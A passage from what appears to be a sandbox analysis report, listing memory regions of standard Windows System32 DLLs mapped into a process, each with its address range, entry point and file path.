name = "wpncore.dll" filename = "\\Windows\\System32\\wpncore.dll" (normalized: "c:\\windows\\system32\\wpncore.dll") Region: id = 910 start_va = 0x7fffbdf90000 end_va = 0x7fffbe063fff monitored = 0 entry_point = 0x7fffbdfa6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 911 start_va = 0x7fffbe070000 end_va = 0x7fffbe20bfff monitored = 0 entry_point = 0x7fffbe085750 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 912 start_va = 0x7fffbe210000 end_va = 0x7fffbe250fff monitored = 0 entry_point = 0x7fffbe21b610 region_type = mapped_file name = "fwpolicyiomgr.dll" filename = "\\Windows\\System32\\fwpolicyiomgr.dll" (normalized: "c:\\windows\\system32\\fwpolicyiomgr.dll") Region: id = 913 start_va = 0x7fffbe260000 end_va = 0x7fffbe29ffff monitored = 0 entry_point = 0x7fffbe26c990 region_type = mapped_file name = "wpnservice.dll" filename = "\\Windows\\System32\\wpnservice.dll" (normalized: "c:\\windows\\system32\\wpnservice.dll") Region: id = 914 start_va = 0x7fffbe2d0000 end_va = 0x7fffbe320fff monitored = 0 entry_point = 0x7fffbe2d3f70 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 915 start_va = 0x7fffbe330000 end_va = 0x7fffbe3b5fff monitored = 0 entry_point = 0x7fffbe345570 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 916 start_va = 0x7fffbe450000 end_va = 0x7fffbe534fff monitored = 0 entry_point = 0x7fffbe4dac50 region_type = mapped_file name = "flightsettings.dll" filename = "\\Windows\\System32\\FlightSettings.dll" (normalized: "c:\\windows\\system32\\flightsettings.dll") Region: id = 917 start_va = 0x7fffbe650000 end_va = 0x7fffbe665fff monitored = 0 entry_point = 0x7fffbe651e80 region_type = mapped_file name = "bitsproxy.dll" filename = "\\Windows\\System32\\BitsProxy.dll" (normalized: "c:\\windows\\system32\\bitsproxy.dll") Region: id = 918 start_va = 0x7fffbe670000 end_va = 0x7fffbe6ecfff monitored = 0 entry_point = 0x7fffbe673a80 region_type = mapped_file name = "onecorecommonproxystub.dll" filename = "\\Windows\\System32\\OneCoreCommonProxyStub.dll" (normalized: "c:\\windows\\system32\\onecorecommonproxystub.dll") Region: id = 919 start_va = 0x7fffbe720000 end_va = 0x7fffbe756fff monitored = 0 entry_point = 0x7fffbe73ff00 region_type = mapped_file name = "updatepolicy.dll" filename = "\\Windows\\System32\\updatepolicy.dll" (normalized: "c:\\windows\\system32\\updatepolicy.dll") Region: id = 920 start_va = 0x7fffbe760000 end_va = 0x7fffbe822fff monitored = 0 entry_point = 0x7fffbe76e000 region_type = mapped_file name = "windows.web.dll" filename = "\\Windows\\System32\\Windows.Web.dll" (normalized: "c:\\windows\\system32\\windows.web.dll") Region: id = 921 start_va = 0x7fffbe850000 end_va = 0x7fffbe867fff monitored = 0 entry_point = 0x7fffbe851f50 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 922 start_va = 0x7fffbe920000 end_va = 0x7fffbe928fff monitored = 0 entry_point = 0x7fffbe9216f0 region_type = mapped_file name = "sscoreext.dll" filename = "\\Windows\\System32\\sscoreext.dll" (normalized: "c:\\windows\\system32\\sscoreext.dll") Region: id = 923 start_va = 0x7fffbe930000 end_va = 0x7fffbe96efff monitored = 0 entry_point = 0x7fffbe936b60 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 924 start_va = 0x7fffbebf0000 end_va = 0x7fffbec00fff monitored = 0 entry_point = 0x7fffbebf3900 region_type = mapped_file name = "windows.staterepositorycore.dll" filename = "\\Windows\\System32\\Windows.StateRepositoryCore.dll" (normalized: "c:\\windows\\system32\\windows.staterepositorycore.dll") Region: id = 925 start_va = 0x7fffbec70000 end_va = 0x7fffbec83fff monitored = 0 entry_point = 0x7fffbec71b40 region_type = mapped_file name = "proximityservicepal.dll" filename = "\\Windows\\System32\\ProximityServicePal.dll" (normalized: "c:\\windows\\system32\\proximityservicepal.dll") Region: id = 926 start_va = 0x7fffbec90000 end_va = 0x7fffbec98fff monitored = 0 entry_point = 0x7fffbec91e20 region_type = mapped_file name = "proximitycommonpal.dll" filename = "\\Windows\\System32\\ProximityCommonPal.dll" (normalized: "c:\\windows\\system32\\proximitycommonpal.dll") Region: id = 927 start_va = 0x7fffbeca0000 end_va = 0x7fffbecccfff monitored = 0 entry_point = 0x7fffbeca2480 region_type = mapped_file name = "proximitycommon.dll" filename = "\\Windows\\System32\\ProximityCommon.dll" (normalized: "c:\\windows\\system32\\proximitycommon.dll") Region: id = 928 start_va = 0x7fffbecd0000 end_va = 0x7fffbed23fff monitored = 0 entry_point = 0x7fffbecd3780 region_type = mapped_file name = "proximityservice.dll" filename = "\\Windows\\System32\\ProximityService.dll" (normalized: "c:\\windows\\system32\\proximityservice.dll") Region: id = 929 start_va = 0x7fffbed30000 end_va = 0x7fffbee21fff monitored = 0 entry_point = 0x7fffbed5a750 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 930 start_va = 0x7fffbee30000 end_va = 0x7fffbee73fff monitored = 0 entry_point = 0x7fffbee40fd0 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 931 start_va = 0x7fffbf980000 end_va = 0x7fffbf98ffff monitored = 0 entry_point = 0x7fffbf9815e0 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 932 start_va = 0x7fffbfaf0000 end_va = 0x7fffbfb6efff monitored = 0 entry_point = 0x7fffbfaf5910 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 933 start_va = 0x7fffbfbd0000 end_va = 0x7fffbfbd9fff monitored = 0 entry_point = 0x7fffbfbd14a0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 934 start_va = 0x7fffbfbe0000 end_va = 0x7fffbfc7cfff monitored = 0 entry_point = 0x7fffbfc14640 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 935 start_va = 0x7fffbfec0000 end_va = 0x7fffbfecbfff monitored = 0 entry_point = 0x7fffbfec15a0 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 936 start_va = 0x7fffbfed0000 end_va = 0x7fffbffd1fff monitored = 0 entry_point = 0x7fffbff157d0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 937 start_va = 0x7fffc02e0000 end_va = 0x7fffc02f7fff monitored = 0 entry_point = 0x7fffc02e5e40 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 938 start_va = 0x7fffc0300000 end_va = 0x7fffc0316fff monitored = 0 entry_point = 0x7fffc03049b0 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 939 start_va = 0x7fffc0510000 end_va = 0x7fffc057bfff monitored = 0 entry_point = 0x7fffc052ec00 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 940 start_va = 0x7fffc05a0000 end_va = 0x7fffc05b5fff monitored = 0 entry_point = 0x7fffc05a3dc0 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 941 start_va = 0x7fffc06c0000 end_va = 0x7fffc06dcfff monitored = 0 entry_point = 0x7fffc06c29b0 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 942 start_va = 0x7fffc07b0000 end_va = 0x7fffc07c6fff monitored = 0 entry_point = 0x7fffc07b24b0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 943 start_va = 0x7fffc15c0000 end_va = 0x7fffc17acfff monitored = 0 entry_point = 0x7fffc163ea20 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 944 start_va = 0x7fffc17b0000 end_va = 0x7fffc17bafff monitored = 0 entry_point = 0x7fffc17b1f70 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 945 start_va = 0x7fffc1960000 end_va = 0x7fffc1c0dfff monitored = 0 entry_point = 0x7fffc19969a0 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 946 start_va = 0x7fffc2cd0000 end_va = 0x7fffc2cfcfff monitored = 0 entry_point = 0x7fffc2cd7cd0 region_type = mapped_file name = "bcp47mrm.dll" filename = "\\Windows\\System32\\BCP47mrm.dll" (normalized: "c:\\windows\\system32\\bcp47mrm.dll") Region: id = 947 start_va = 0x7fffc2d30000 end_va = 0x7fffc2e80fff monitored = 0 entry_point = 0x7fffc2d48050 region_type = mapped_file name = "inputhost.dll" filename = "\\Windows\\System32\\InputHost.dll" (normalized: "c:\\windows\\system32\\inputhost.dll") Region: id = 948 start_va = 0x7fffc2e90000 end_va = 0x7fffc2f8bfff monitored = 0 entry_point = 0x7fffc2ecae50 region_type = mapped_file name = "textinputframework.dll" filename = "\\Windows\\System32\\TextInputFramework.dll" (normalized: "c:\\windows\\system32\\textinputframework.dll") Region: id = 949 start_va = 0x7fffc2f90000 end_va = 0x7fffc30dbfff monitored = 0 entry_point = 0x7fffc2fc1ac0 region_type = mapped_file name = "windows.ui.dll" filename = "\\Windows\\System32\\Windows.UI.dll" (normalized: "c:\\windows\\system32\\windows.ui.dll") Region: id = 950 start_va = 0x7fffc30e0000 end_va = 0x7fffc31d3fff monitored = 0 entry_point = 0x7fffc3121eb0 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll") Region: id = 951 start_va = 0x7fffc32f0000 end_va = 0x7fffc32f7fff monitored = 0 entry_point = 0x7fffc32f1430 region_type = mapped_file name = "appinfoext.dll" filename = "\\Windows\\System32\\appinfoext.dll" (normalized: "c:\\windows\\system32\\appinfoext.dll") Region: id = 952 start_va = 0x7fffc33a0000 end_va = 0x7fffc33b7fff monitored = 0 entry_point = 0x7fffc33a8250 region_type = mapped_file name = "shacctprofile.dll" filename = "\\Windows\\System32\\shacctprofile.dll" (normalized: "c:\\windows\\system32\\shacctprofile.dll") Region: id = 953 start_va = 0x7fffc33c0000 end_va = 0x7fffc33effff monitored = 0 entry_point = 0x7fffc33e4680 region_type = mapped_file name = "clipc.dll" filename = "\\Windows\\System32\\Clipc.dll" (normalized: "c:\\windows\\system32\\clipc.dll") Region: id = 954 start_va = 0x7fffc3550000 end_va = 0x7fffc355cfff monitored = 0 entry_point = 0x7fffc3554320 region_type = mapped_file name = "usocoreps.dll" filename = "\\Windows\\System32\\usocoreps.dll" (normalized: "c:\\windows\\system32\\usocoreps.dll") Region: id = 955 start_va = 0x7fffc3560000 end_va = 0x7fffc3585fff monitored = 0 entry_point = 0x7fffc356ab40 region_type = mapped_file name = "usoapi.dll" filename = "\\Windows\\System32\\usoapi.dll" (normalized: "c:\\windows\\system32\\usoapi.dll") Region: id = 956 start_va = 0x7fffc35f0000 end_va = 0x7fffc3682fff monitored = 0 entry_point = 0x7fffc35f9e10 region_type = mapped_file name = "policymanager.dll" filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 957 start_va = 0x7fffc3690000 end_va = 0x7fffc36bdfff monitored = 0 entry_point = 0x7fffc36915f0 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 958 start_va = 0x7fffc36c0000 end_va = 0x7fffc36eefff monitored = 0 entry_point = 0x7fffc36c81d0 region_type = mapped_file name = "wptaskscheduler.dll" filename = "\\Windows\\System32\\WPTaskScheduler.dll" (normalized: "c:\\windows\\system32\\wptaskscheduler.dll") Region: id = 959 start_va = 0x7fffc3770000 end_va = 0x7fffc377dfff monitored = 0 entry_point = 0x7fffc3772910 region_type = mapped_file name = "timebrokerclient.dll" filename = "\\Windows\\System32\\TimeBrokerClient.dll" (normalized: "c:\\windows\\system32\\timebrokerclient.dll") Region: id = 960 start_va = 0x7fffc3780000 end_va = 0x7fffc37e4fff monitored = 0 entry_point = 0x7fffc3793640 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 961 start_va = 0x7fffc37f0000 end_va = 0x7fffc3818fff monitored = 0 entry_point = 0x7fffc37f9320 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 962 start_va = 0x7fffc3f60000 end_va = 0x7fffc3fb3fff monitored = 0 entry_point = 0x7fffc3f6dee0 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 963 start_va = 0x7fffc3fc0000 end_va = 0x7fffc40b7fff monitored = 0 entry_point = 0x7fffc3fd73e0 region_type = mapped_file name = "appxdeploymentclient.dll" filename = "\\Windows\\System32\\AppXDeploymentClient.dll" (normalized: "c:\\windows\\system32\\appxdeploymentclient.dll") Region: id = 964 start_va = 0x7fffc43b0000 end_va = 0x7fffc43c8fff monitored = 0 entry_point = 0x7fffc43b51e0 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 965 start_va = 0x7fffc4470000 end_va = 0x7fffc45ddfff monitored = 0 entry_point = 0x7fffc4480f70 region_type = mapped_file name = "usermgr.dll" filename = "\\Windows\\System32\\usermgr.dll" (normalized: "c:\\windows\\system32\\usermgr.dll") Region: id = 966 start_va = 0x7fffc45e0000 end_va = 0x7fffc4608fff monitored = 0 entry_point = 0x7fffc45e2b30 region_type = mapped_file name = "mstask.dll" filename = "\\Windows\\System32\\mstask.dll" (normalized: "c:\\windows\\system32\\mstask.dll") Region: id = 967 start_va = 0x7fffc4610000 end_va = 0x7fffc464cfff monitored = 0 entry_point = 0x7fffc461b030 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 968 start_va = 0x7fffc4650000 end_va = 0x7fffc467bfff monitored = 0 entry_point = 0x7fffc4653c80 region_type = mapped_file name = "profsvcext.dll" filename = "\\Windows\\System32\\profsvcext.dll" (normalized: "c:\\windows\\system32\\profsvcext.dll") Region: id = 969 start_va = 0x7fffc4680000 end_va = 0x7fffc46f8fff monitored = 0 entry_point = 0x7fffc4697770 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 970 start_va = 0x7fffc4710000 end_va = 0x7fffc4718fff monitored = 0 entry_point = 0x7fffc47122e0 region_type = mapped_file name = "httpprxc.dll" filename = "\\Windows\\System32\\httpprxc.dll" (normalized: "c:\\windows\\system32\\httpprxc.dll") Region: id = 971 start_va = 0x7fffc4780000 end_va = 0x7fffc4795fff monitored = 0 entry_point = 0x7fffc4784250 region_type = mapped_file name = "usermgrcli.dll" filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll") Region: id = 972 start_va = 0x7fffc47e0000 end_va = 0x7fffc47e9fff monitored = 0 entry_point = 0x7fffc47e2680 region_type = mapped_file name = "csystemeventsbrokerclient.dll" filename = "\\Windows\\System32\\CSystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\csystemeventsbrokerclient.dll") Region: id = 973 start_va = 0x7fffc4870000 end_va = 0x7fffc48dafff monitored = 0 entry_point = 0x7fffc48725a0 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 974 start_va = 0x7fffc48e0000 end_va = 0x7fffc48f0fff monitored = 0 entry_point = 0x7fffc48e3670 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 975 start_va = 0x7fffc4900000 end_va = 0x7fffc4949fff monitored = 0 entry_point = 0x7fffc49149f0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 976 start_va = 0x7fffc4950000 end_va = 0x7fffc4a1bfff monitored = 0 entry_point = 0x7fffc497db30 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 977 start_va = 0x7fffc4a20000 end_va = 0x7fffc51b0fff monitored = 0 entry_point = 0x7fffc4a35f30 region_type = mapped_file name = "onecoreuapcommonproxystub.dll" filename = "\\Windows\\System32\\OneCoreUAPCommonProxyStub.dll" (normalized: "c:\\windows\\system32\\onecoreuapcommonproxystub.dll") Region: id = 978 start_va = 0x7fffc51c0000 end_va = 0x7fffc526bfff monitored = 0 entry_point = 0x7fffc51de600 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 979 start_va = 0x7fffc5400000 end_va = 0x7fffc55b3fff monitored = 0 entry_point = 0x7fffc54768b0 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 980 start_va = 0x7fffc56c0000 end_va = 0x7fffc58c1fff monitored = 0 entry_point = 0x7fffc572d800 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 981 start_va = 0x7fffc58d0000 end_va = 0x7fffc5970fff monitored = 0 entry_point = 0x7fffc58e01b0 region_type = mapped_file name = "windowmanagementapi.dll" filename = "\\Windows\\System32\\WindowManagementAPI.dll" (normalized: "c:\\windows\\system32\\windowmanagementapi.dll") Region: id = 982 start_va = 0x7fffc5c40000 end_va = 0x7fffc5c49fff monitored = 0 entry_point = 0x7fffc5c41780 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 983 start_va = 0x7fffc5c50000 end_va = 0x7fffc5c6cfff monitored = 0 entry_point = 0x7fffc5c56d40 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 984 start_va = 0x7fffc5c70000 end_va = 0x7fffc5daffff monitored = 0 entry_point = 0x7fffc5c8df50 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 985 start_va = 0x7fffc5db0000 end_va = 0x7fffc5db7fff monitored = 0 entry_point = 0x7fffc5db14a0 region_type = mapped_file name = "dabapi.dll" filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll") Region: id = 986 start_va = 0x7fffc5ea0000 end_va = 0x7fffc5ed5fff monitored = 0 entry_point = 0x7fffc5eaf5a0 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 987 start_va = 0x7fffc65e0000 end_va = 0x7fffc66d4fff monitored = 0 entry_point = 0x7fffc6622860 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 988 start_va = 0x7fffc66e0000 end_va = 0x7fffc6703fff monitored = 0 entry_point = 0x7fffc66e3de0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 989 start_va = 0x7fffc6740000 end_va = 0x7fffc6753fff monitored = 0 entry_point = 0x7fffc67428c0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 990 start_va = 0x7fffc6960000 end_va = 0x7fffc696ffff monitored = 0 entry_point = 0x7fffc69638f0 region_type = mapped_file name = "ondemandbrokerclient.dll" filename = "\\Windows\\System32\\OnDemandBrokerClient.dll" (normalized: "c:\\windows\\system32\\ondemandbrokerclient.dll") Region: id = 991 start_va = 0x7fffc6f30000 end_va = 0x7fffc7085fff monitored = 0 entry_point = 0x7fffc6f5b240 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 992 start_va = 0x7fffc7600000 end_va = 0x7fffc7959fff monitored = 0 entry_point = 0x7fffc7682d50 region_type = mapped_file name = "coreuicomponents.dll" filename = "\\Windows\\System32\\CoreUIComponents.dll" (normalized: "c:\\windows\\system32\\coreuicomponents.dll") Region: id = 993 start_va = 0x7fffc7960000 end_va = 0x7fffc7a51fff monitored = 0 entry_point = 0x7fffc79b70f0 region_type = mapped_file name = "coremessaging.dll" filename = "\\Windows\\System32\\CoreMessaging.dll" (normalized: "c:\\windows\\system32\\coremessaging.dll") Region: id = 994 start_va = 0x7fffc7bb0000 end_va = 0x7fffc7c3ffff monitored = 0 entry_point = 0x7fffc7bc0880 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 995 start_va = 0x7fffc7d20000 end_va = 0x7fffc7d2bfff monitored = 0 entry_point = 0x7fffc7d22ba0 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 996 start_va = 0x7fffc7d40000 end_va = 0x7fffc7d53fff monitored = 0 entry_point = 0x7fffc7d44280 region_type = mapped_file name = "resourcepolicyclient.dll" filename = "\\Windows\\System32\\ResourcePolicyClient.dll" (normalized: "c:\\windows\\system32\\resourcepolicyclient.dll") Region: id = 997 start_va = 0x7fffc7f10000 end_va = 0x7fffc7f39fff monitored = 0 entry_point = 0x7fffc7f19e30 region_type = mapped_file name = "rmclient.dll" filename = "\\Windows\\System32\\rmclient.dll" (normalized: "c:\\windows\\system32\\rmclient.dll") Region: id = 998 start_va = 0x7fffc8120000 end_va = 0x7fffc8132fff monitored = 0 entry_point = 0x7fffc8123f60 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 999 start_va = 0x7fffc8320000 end_va = 0x7fffc8aa9fff monitored = 0 entry_point = 0x7fffc84dc050 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 1000 start_va = 0x7fffc8ab0000 end_va = 0x7fffc8abcfff monitored = 0 entry_point = 0x7fffc8ab26a0 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 1001 start_va = 0x7fffc8ac0000 end_va = 0x7fffc8ae2fff monitored = 0 entry_point = 0x7fffc8ac3700 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1002 start_va = 0x7fffc8e50000 end_va = 0x7fffc8e9bfff monitored = 0 entry_point = 0x7fffc8e59820 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 1003 start_va = 0x7fffc8f30000 end_va = 0x7fffc8f5efff monitored = 0 entry_point = 0x7fffc8f372e0 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 1004 start_va = 0x7fffc8f60000 end_va = 0x7fffc8ff2fff monitored = 0 entry_point = 0x7fffc8f68f80 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1005 start_va = 0x7fffc9000000 end_va = 0x7fffc9032fff monitored = 0 entry_point = 0x7fffc9006930 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1006 start_va = 0x7fffc9150000 end_va = 0x7fffc91e0fff monitored = 0 entry_point = 0x7fffc9175d30 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 1007 start_va = 0x7fffc9230000 end_va = 0x7fffc9263fff monitored = 0 entry_point = 0x7fffc9236e70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1008 start_va = 0x7fffc9270000 end_va = 0x7fffc9279fff monitored = 0 entry_point = 0x7fffc9271850 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 1009 start_va = 0x7fffc92d0000 end_va = 0x7fffc9359fff monitored = 0 entry_point = 0x7fffc9315870 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 1010 start_va = 0x7fffc9360000 end_va = 0x7fffc9376fff monitored = 0 entry_point = 0x7fffc9361d60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1011 start_va = 0x7fffc9590000 end_va = 0x7fffc95cafff monitored = 0 entry_point = 0x7fffc959a620 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1012 start_va = 0x7fffc95d0000 end_va = 0x7fffc95dbfff monitored = 0 entry_point = 0x7fffc95d1ce0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1013 start_va = 0x7fffc95e0000 end_va = 0x7fffc96a9fff monitored = 0 entry_point = 0x7fffc960bc80 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1014 start_va = 0x7fffc96b0000 end_va = 0x7fffc96f1fff monitored = 0 entry_point = 0x7fffc96ba3e0 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1015 start_va = 0x7fffc98a0000 end_va = 0x7fffc9909fff monitored = 0 entry_point = 0x7fffc98b0e90 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1016 start_va = 0x7fffc9a70000 end_va = 0x7fffc9a87fff monitored = 0 entry_point = 0x7fffc9a74aa0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1017 start_va = 0x7fffc9a90000 end_va = 0x7fffc9a9bfff monitored = 0 entry_point = 0x7fffc9a92200 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1018 start_va = 0x7fffc9ad0000 end_va = 0x7fffc9b29fff monitored = 0 entry_point = 0x7fffc9adb770 region_type = mapped_file name = "winsta.dll" filename = 